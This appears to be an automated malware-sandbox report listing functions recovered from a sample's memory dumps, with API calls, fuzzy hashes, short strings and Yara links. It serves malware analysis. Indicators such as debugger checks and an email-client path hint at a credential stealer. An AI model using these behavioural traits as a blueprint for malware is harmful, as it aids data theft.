Instruction ID: 5ed2bce57202caa61740e9a0066a193a3aa364e15e010ca0d77f5b321bac14a1
Opcode Fuzzy Hash: 19062003c26532868454498e227e50f3dc71298f1981b794ebff368204a50fa7
Instruction Fuzzy Hash: 6792C670B0A3159BD724DF18E58563EBAE1EB94700FA8891FE5C9CB390D679CC418B4B

Function 00424C8D Relevance: 7.4, Strings: 5, Instructions: 1174COMMON

Download Yara Rule

Strings

fS)), xrefs: 0042574F
U5 S, xrefs: 00425889
]cnq, xrefs: 0042550D
U5 S, xrefs: 00426114
T5 S, xrefs: 00424F0D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleModuleName
String ID: T5 S$U5 S$U5 S$]cnq$fS))
API String ID: 2106025501-2879408294
Opcode ID: d4ef6aecc819cbfd79ed1537f8e605b86188b9f0b6e42f283061d9fbf544773c
Instruction ID: dfb0ff48f0b3588d0c8ddc0fc82928454e0cf031636ecd05e75d9b592114eb49
Opcode Fuzzy Hash: d4ef6aecc819cbfd79ed1537f8e605b86188b9f0b6e42f283061d9fbf544773c
Instruction Fuzzy Hash: B2A271B07097118BD724EF1DE69522EBBE0EB94750FA58D1FE185CB350E638C8819B4B

Function 02332260 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0233233E
ExitProcess.KERNEL32 ref: 0233268F

Strings

Ku^%, xrefs: 02332362
Ku^%, xrefs: 023322A7

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ExitProcessSleep
String ID: Ku^%$Ku^%
API String ID: 911557368-1067927601
Opcode ID: 82cfc510ece84957cbba0257fc153cb2f1f42220bc350d1360029cd4826f0e13
Instruction ID: ae3353009da93772ca4eb3d457df80e4ada0c426cddf7d4427e14e292bc8784f
Opcode Fuzzy Hash: 82cfc510ece84957cbba0257fc153cb2f1f42220bc350d1360029cd4826f0e13
Instruction Fuzzy Hash: 12A102B1514B018BCB368F1DC990A27B6F5AB45724724891EECABCBA61D774EE50CF02

Function 0041EBEB Relevance: 6.8, Strings: 5, Instructions: 537COMMON

Download Yara Rule

Strings

(lu, xrefs: 0041EE71
)lu, xrefs: 0041F082
n_v, xrefs: 0041F08D
n_v, xrefs: 0041EFBB
)lu, xrefs: 0041EF48

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: (lu$)lu$)lu$n_v$n_v
API String ID: 0-3830700584
Opcode ID: 19f3eafb4a0e727bd08de773a29381a3a5c2a5b051c77c6b774b19f95aa7016b
Instruction ID: 4a2fd8414ffc0d2b7e824df66967180c6b9bc980e05f2bb9b5fb8abbe135a622
Opcode Fuzzy Hash: 19f3eafb4a0e727bd08de773a29381a3a5c2a5b051c77c6b774b19f95aa7016b
Instruction Fuzzy Hash: 1D22B478D0460A9BCF24CF9DC8956FFBBB0EB14304F24052BD515EB351D3789A868B9A

Function 023603F5 Relevance: 6.6, Strings: 5, Instructions: 301COMMON

Download Yara Rule

Strings

Ku^%, xrefs: 023603F5
Ku^%, xrefs: 02360258
Ku^%, xrefs: 0235FFE2
Ku^%, xrefs: 02360076
Ku^%, xrefs: 023602F0

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: Ku^%$Ku^%$Ku^%$Ku^%$Ku^%
API String ID: 0-3469696018
Opcode ID: 6ec76950be12901a45a75c5ce88806d55f504ea767741fb8e6c205ae61d7ac73
Instruction ID: 7c7ca289ac7ac6f99319bda9901ca4dbbf0a493f194e0bb693dffbcb6a384f16
Opcode Fuzzy Hash: 6ec76950be12901a45a75c5ce88806d55f504ea767741fb8e6c205ae61d7ac73
Instruction Fuzzy Hash: 2EB11871D1021987CF38DF58884AA7E7679BB82304F284627ED59EBA55E334C640CB93

Function 0233AB8F Relevance: 6.5, APIs: 4, Instructions: 475stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,00469144,?,0233BA31,0233CC5B,?,?,?), ref: 0233AEC5
lstrcatW.KERNEL32(?,0045FD78,?,?,?,?,?,?,?,?,00469144,?,0233BA31,0233CC5B,?,?), ref: 0233AF29

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: ef72a88249dd871b6e6f7590a3c2d473460619251f7bcc7e3a36d31713e60fb7
Instruction ID: 718d68a3a69de4f10929df6516c9a92aa138f432d4c3b93c6123637d506a5ca7
Opcode Fuzzy Hash: ef72a88249dd871b6e6f7590a3c2d473460619251f7bcc7e3a36d31713e60fb7
Instruction Fuzzy Hash: 86022571D102198BDF2A8F58C891BFDB676BB08318F14462BE455EB2A0E3748B41CB96

Function 0044F244 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0044F2D1

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 05cda982c4f09bd88feb10a38f7641e7fd96d80131b6e6d53e56f63ddc665004
Instruction ID: 8ec8fb1480d7890853f4d9f50d5551423c0e27afaeab5e375f7c18d1f8a446b0
Opcode Fuzzy Hash: 05cda982c4f09bd88feb10a38f7641e7fd96d80131b6e6d53e56f63ddc665004
Instruction Fuzzy Hash: 7EB147329002559FFB11CF68C8817EFBBA5EF55304F14817BE815AB342D6389D0ACB69

Function 00451FBC Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00452057
FindNextFileW.KERNEL32(00000000,?), ref: 004520D2
FindClose.KERNEL32(00000000), ref: 004520F4
FindClose.KERNEL32(00000000), ref: 00452117

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: b3559cba144369e4368cc0700d5b7fee314850b44e79167534ac2f09849a45e7
Instruction ID: 88b061fe18a59ed71dd7726e396f37314d98d9ff08531aa008276cfa6a830ce1
Opcode Fuzzy Hash: b3559cba144369e4368cc0700d5b7fee314850b44e79167534ac2f09849a45e7
Instruction Fuzzy Hash: 4F411971901519AFDF20DF64DD88ABFB379EB4530AF004197E905D3181E7B89E88CB69

Function 02382223 Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 023822BE
FindNextFileW.KERNEL32(00000000,?), ref: 02382339
FindClose.KERNEL32(00000000), ref: 0238235B
FindClose.KERNEL32(00000000), ref: 0238237E

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 98469444129287ec3a0223e4e6863df554afa6925fe0b01ec864058e1a2505ac
Instruction ID: 8a0010b05d2259908ce830c831d36ff31ce5211dd520ee179a24856a0ee9ee51
Opcode Fuzzy Hash: 98469444129287ec3a0223e4e6863df554afa6925fe0b01ec864058e1a2505ac
Instruction Fuzzy Hash: CF41A171A00759AADB20EF64CC98ABBB3B9EB84304F044195EC05DB144E770DE84CF65

Function 00416548 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 837COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00416724

Strings

0, xrefs: 00416E49
8, xrefs: 00416E41

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: 0$8
API String ID: 4218353326-46163386
Opcode ID: dffc9e5abd372e9afb64596e263c2f6f11399d763a87511cb0e2e762d002d851
Instruction ID: 4a4157f18493c412a49744d30cfcbbbc573f023624cab823fa42490c9b2fab12
Opcode Fuzzy Hash: dffc9e5abd372e9afb64596e263c2f6f11399d763a87511cb0e2e762d002d851
Instruction Fuzzy Hash: 037256716083409FCB14CF19C880BABBBE2AF88314F15892EF99887351D779D995CF96

Function 0043CE95 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043CEA1
IsDebuggerPresent.KERNEL32 ref: 0043CF6D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043CF8D
UnhandledExceptionFilter.KERNEL32(?), ref: 0043CF97

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5a224689ebe3c8543fae9108879d47dacd2795cfdd161b4ae1d22f43ac1ac262
Instruction ID: 9043f40afcec0259649162862996236607bac432cbf7b643fd488768b54bd5d0
Opcode Fuzzy Hash: 5a224689ebe3c8543fae9108879d47dacd2795cfdd161b4ae1d22f43ac1ac262
Instruction Fuzzy Hash: 57312BB5D05219DBDB10DF65D989BCDBBB8AF08304F1040AAE40DA7250EBB55A84CF49

Function 0235D221 Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

]^4, xrefs: 0235D257
Mail Clients\eM Client, xrefs: 0235D225
^^4, xrefs: 0235D476
^^4, xrefs: 0235D594

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: Mail Clients\eM Client$]^4$^^4$^^4
API String ID: 0-1928883120
Opcode ID: 2b4910dd263b016b495e14fa66466277187321ac52993c0523f68307dfe2152f
Instruction ID: 295a2138c5a9904cce95bca20cbaf49c8dc44489dbf6f35dc9c4833d63c62f8a
Opcode Fuzzy Hash: 2b4910dd263b016b495e14fa66466277187321ac52993c0523f68307dfe2152f
Instruction Fuzzy Hash: 3EE10BB1D1012E9BDF288B98CD81EBE76B5AB14204F244526EC1EF7751E739CA41CB93

Function 0044E33B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00405C85), ref: 0044E433
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00405C85), ref: 0044E43D
UnhandledExceptionFilter.KERNEL32(0045F807,?,?,?,?,?,00405C85), ref: 0044E44A

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b1a3c3a0be8d6b4b88a7661e414be1e1f565848d8e3606674681f7b5372028ed
Instruction ID: af30a7423d53b2ed9e05bfdfaa0a26c4abe4ecd8aa3d0fdc8ac6f86824fa8700
Opcode Fuzzy Hash: b1a3c3a0be8d6b4b88a7661e414be1e1f565848d8e3606674681f7b5372028ed
Instruction Fuzzy Hash: 2231C4749012299BCB21DF65D889BCDBBB8BF08310F5041EAE81CA7250E7749F858F49

Function 00424BED Relevance: 4.5, APIs: 3, Instructions: 32fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000200), ref: 00424C0E
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00424C22
CloseHandle.KERNEL32(00000000), ref: 00424C2E

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleModuleName
String ID:
API String ID: 2106025501-0
Opcode ID: d94bae1b59913256bf7e4af9c8c5c466c157ae71dd916d4649055dd816ca84e8
Instruction ID: 0f79836f08216e1067b19f7748282cd10e66abfb9a44897a3127195f29ea1e18
Opcode Fuzzy Hash: d94bae1b59913256bf7e4af9c8c5c466c157ae71dd916d4649055dd816ca84e8
Instruction Fuzzy Hash: 97F0A071201130BBD2349B2AEC4CF57BF6CEF86B70F014215FB19AB2A0D2789812C6D5

Function 0041764A Relevance: 4.4, APIs: 1, Strings: 1, Instructions: 917COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00417773

Strings

=`f\, xrefs: 00417D3A, 00417E7A

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: =`f\
API String ID: 4218353326-984147390
Opcode ID: cefc6376a0a262524adde921cf2748f1d933b06b63e13b6ea41360376ed59fc9
Instruction ID: 937e01e95affed1bb86c4fb585bebd6cec6f4652e38a753aecbb8c34d3dca93f
Opcode Fuzzy Hash: cefc6376a0a262524adde921cf2748f1d933b06b63e13b6ea41360376ed59fc9
Instruction Fuzzy Hash: E5822671508301AFDB14CF19C880AABBBE1FF88344F04892EF99987391D779D995CB96

Function 00415C7E Relevance: 3.9, Strings: 3, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

Strings

UUUU, xrefs: 00415CFE
UUUU, xrefs: 00415CCA
3333, xrefs: 00415CD3

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: 3333$UUUU$UUUU
API String ID: 0-1588839328
Opcode ID: 17534d5a281498b08f04e5be694ea266bc4322b6d1202bf75d22475c47ae82c3
Instruction ID: db216e20b05cf36e7dbad7cd7ff9f755db6c04a52abf1afa55db9664f95289aa
Opcode Fuzzy Hash: 17534d5a281498b08f04e5be694ea266bc4322b6d1202bf75d22475c47ae82c3
Instruction Fuzzy Hash: 31419FB1610704CBCB588F19C88479277E6ABD8320F5981AADD058F38AE7B9CCC5CBC4

Function 00448800 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc98001e59703e17e9a34c2f345cf9d82059dae5fbe9420c98e1510437f35f7
Instruction ID: d31693203e36b13fa643c34ed7d2e873ec4fc83637a871ea5abd7a03a4c8c85c
Opcode Fuzzy Hash: abc98001e59703e17e9a34c2f345cf9d82059dae5fbe9420c98e1510437f35f7
Instruction Fuzzy Hash: 59F14071E012199FDF14CFA9C8806AEB7B1FF89314F15826EE915A7390DB34AD41CB94

Function 02378A67 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3e44d6773cb73d3f78f22b7e789175b054aa5dae3e35d0fed3e7c06545acc3
Instruction ID: 1e792c585b5fe79a443a32508fc7ec313994002ffb062f60f55b147da630af66
Opcode Fuzzy Hash: 2d3e44d6773cb73d3f78f22b7e789175b054aa5dae3e35d0fed3e7c06545acc3
Instruction Fuzzy Hash: 05F15E71E012199FDF24CFA9C884AADF7B1FF88324F15826AD915AB380D734A901DF94

Function 0043BCA4 Relevance: 3.1, Strings: 2, Instructions: 611COMMON

Download Yara Rule

Strings

y_B>, xrefs: 0043C403
y_B>, xrefs: 0043C00B

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: y_B>$y_B>
API String ID: 0-2639510964
Opcode ID: 88ae354af438063a33d3c2dde5e6d733d8a20db6495eb275dc7889d5d4cf3e35
Instruction ID: c217e240e4de63698dbdc007ec6427f3aed3e10ff69f5bbbebf730a7c1cd9681
Opcode Fuzzy Hash: 88ae354af438063a33d3c2dde5e6d733d8a20db6495eb275dc7889d5d4cf3e35
Instruction Fuzzy Hash: B5328371D0011A8BDF249A9889916BFB670EF58320F24792BD515FB390D73C9E428BDA

Function 0043D600 Relevance: 3.1, APIs: 2, Instructions: 92COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0043D61E

Part of subcall function 0044C5A0: _ValidateScopeTableHandlers.LIBCMT ref: 0044C6B4
Part of subcall function 0044C5A0: __FindPESection.LIBCMT ref: 0044C6D1

_CallDestructExceptionObject.LIBVCRUNTIME ref: 0043D6A0

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CallDestructExceptionFindHandlersObjectScopeSectionTableValidate___except_validate_context_record
String ID:
API String ID: 4086067019-0
Opcode ID: 32225782116d6d1d5b8b44fa1553e41c01ad0d105c6fff44bcf9d4353cf2325d
Instruction ID: d36a7cbcb2159855d2e740cbd3865162507ac70638f688864eb4f2737716b515
Opcode Fuzzy Hash: 32225782116d6d1d5b8b44fa1553e41c01ad0d105c6fff44bcf9d4353cf2325d
Instruction Fuzzy Hash: BC21FC72D01204ABDB14EF69DCC19ABBBA5FF48314F098069ED198B246E734F915CBE4

Function 0044614F Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00418E08,FFFFFFF9,?,?,?,?,00418E08,00000000), ref: 00446164
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00446183

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: eee1a95b8517425e3b7839049f316366bcb153acad07d488873c9a132efa3553
Instruction ID: 61ae58f5a109cdc23c8a561ccb435e29d9a033fb164f50c0495edfbe46b21ef4
Opcode Fuzzy Hash: eee1a95b8517425e3b7839049f316366bcb153acad07d488873c9a132efa3553
Instruction Fuzzy Hash: 00F0F4B1B001147B6B24DF2D880489FBEE9EAC6364726825BE809D3345E574DD05C295

Function 0233B390 Relevance: 2.9, Strings: 2, Instructions: 375COMMON

Download Yara Rule

Strings

Y[, xrefs: 0233B8E9
LK, xrefs: 0233B98A

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: LK$Y[
API String ID: 0-3215990068
Opcode ID: e0129d6195a4faf04e5467944263a4367aaf707841d60a9d02f48df6a373b069
Instruction ID: 2e19718e745c83073bb1607c6aa0d0b3959b9da5163b503e513578b3a7fa4beb
Opcode Fuzzy Hash: e0129d6195a4faf04e5467944263a4367aaf707841d60a9d02f48df6a373b069
Instruction Fuzzy Hash: 46E19DB2904215CBDB259F58C49426DFBF7AF84318F25892EE499DB790D3748B80CB53

Function 0045D15A Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0045D0B5,?,?,00000008,?,?,0045CC90,00000000), ref: 0045D387

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction ID: 2e63c45fd147d1bc419a1cf421641fdd954adc511095b72776a1a782a704c190
Opcode Fuzzy Hash: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction Fuzzy Hash: EBB15E31A10605CFD724CF28C486B657BA0FF45366F258699EC99CF3A2C339E986CB45

Function 004279E0 Relevance: 1.8, Strings: 1, Instructions: 509COMMON

Download Yara Rule

Strings

y_B>, xrefs: 00427CEA

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: y_B>
API String ID: 0-1404922283
Opcode ID: 3469851243814c9df854399b7f1dc1d22a233d7ef834371f5d1686ee01f1e3c4
Instruction ID: 4c2ea87e6ed6cce11d3262b2c37c8ab9346d24596443f962e79d9f7238e8cba2
Opcode Fuzzy Hash: 3469851243814c9df854399b7f1dc1d22a233d7ef834371f5d1686ee01f1e3c4
Instruction Fuzzy Hash: E11241B170D361CBDB249F18E49153EBAE4AB94310FA54A5FE0C9CB364D678D8C19B0B

Function 00415070 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

a, xrefs: 004150D1

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction ID: 318bea0468e25d50bc193c40de4e6b6217f0263c2ba9fd996b50af1c70fb3ca8
Opcode Fuzzy Hash: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction Fuzzy Hash: AE121370608740DFD724CF19C980BABBBE2FBC8304F54892EE58987350D779E9858B96

Function 023452D7 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

a, xrefs: 02345338

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction ID: a07ba8b594ba98883bec131c9e9a088c46f5a60eb019b747f14f3bd37d244c96
Opcode Fuzzy Hash: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction Fuzzy Hash: 7E120170A083419FD764CF19C884B2BBBE6BF98308F84896DF58987251DB75E948CF52

Function 0043D0B8 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0043D0CE

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 791a5783c13089c55432eecac0b459280e2b3968fd8be309c5ac16e94238550e
Instruction ID: 4f8493139679013ee20e08bfcd7abab68794bcc2040eb7ee6f469f72a5842b4a
Opcode Fuzzy Hash: 791a5783c13089c55432eecac0b459280e2b3968fd8be309c5ac16e94238550e
Instruction Fuzzy Hash: E55106B1E002058FEB14CF55E8857ABBBF5FB48310F24947AD415EB354E3B8A980CB99

Function 00414A83 Relevance: 1.6, Strings: 1, Instructions: 352COMMON

Download Yara Rule

Strings

a, xrefs: 00414B2C

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: 74cedb3eb2f680694ce7935cfb3b67ee33ab9ad9c5e3efc4d66dd220d35ca717
Instruction ID: 722ab9fffa63a2ef7d1a063d6d10cc189525accf299069018822edd1fef34131
Opcode Fuzzy Hash: 74cedb3eb2f680694ce7935cfb3b67ee33ab9ad9c5e3efc4d66dd220d35ca717
Instruction Fuzzy Hash: 74E125702083419FD724CF19C584BABB7E1BFC8354F05892EF59987250E778E989CB9A

Function 023712BE Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 0237144C

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f938d26f7d7b869db53303d6b320227edf2d7df5e48e1cd41f04431b035f6243
Instruction ID: 8f191f8c23af4ff874e44819f72c4410366377a4132184dcb064a70586bdf8c7
Opcode Fuzzy Hash: f938d26f7d7b869db53303d6b320227edf2d7df5e48e1cd41f04431b035f6243
Instruction Fuzzy Hash: 57C1CF76A006468FDF38CF68C48077EB7F6AF05318F144629D8DA9BA91C738E946CB51

Function 0040136E Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

VUUU, xrefs: 004015EE

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: VUUU
API String ID: 0-2040033107
Opcode ID: 98b115f5f95ee34da68bc11d1b4f95177fde0c9a6d3e400caf3ce09c2dcad771
Instruction ID: 8f7341bf09dd7d88668ef3d11c74458aa2ddba69b727948ac3827fc30a91a2a0
Opcode Fuzzy Hash: 98b115f5f95ee34da68bc11d1b4f95177fde0c9a6d3e400caf3ce09c2dcad771
Instruction Fuzzy Hash: 29C1A7756183019BDB1C8A19C59153EBBE5AB85314F24C93FE15ADB3F4E23CD8419B0B

Function 0041F916 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,00001000,00001000), ref: 0041F984

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

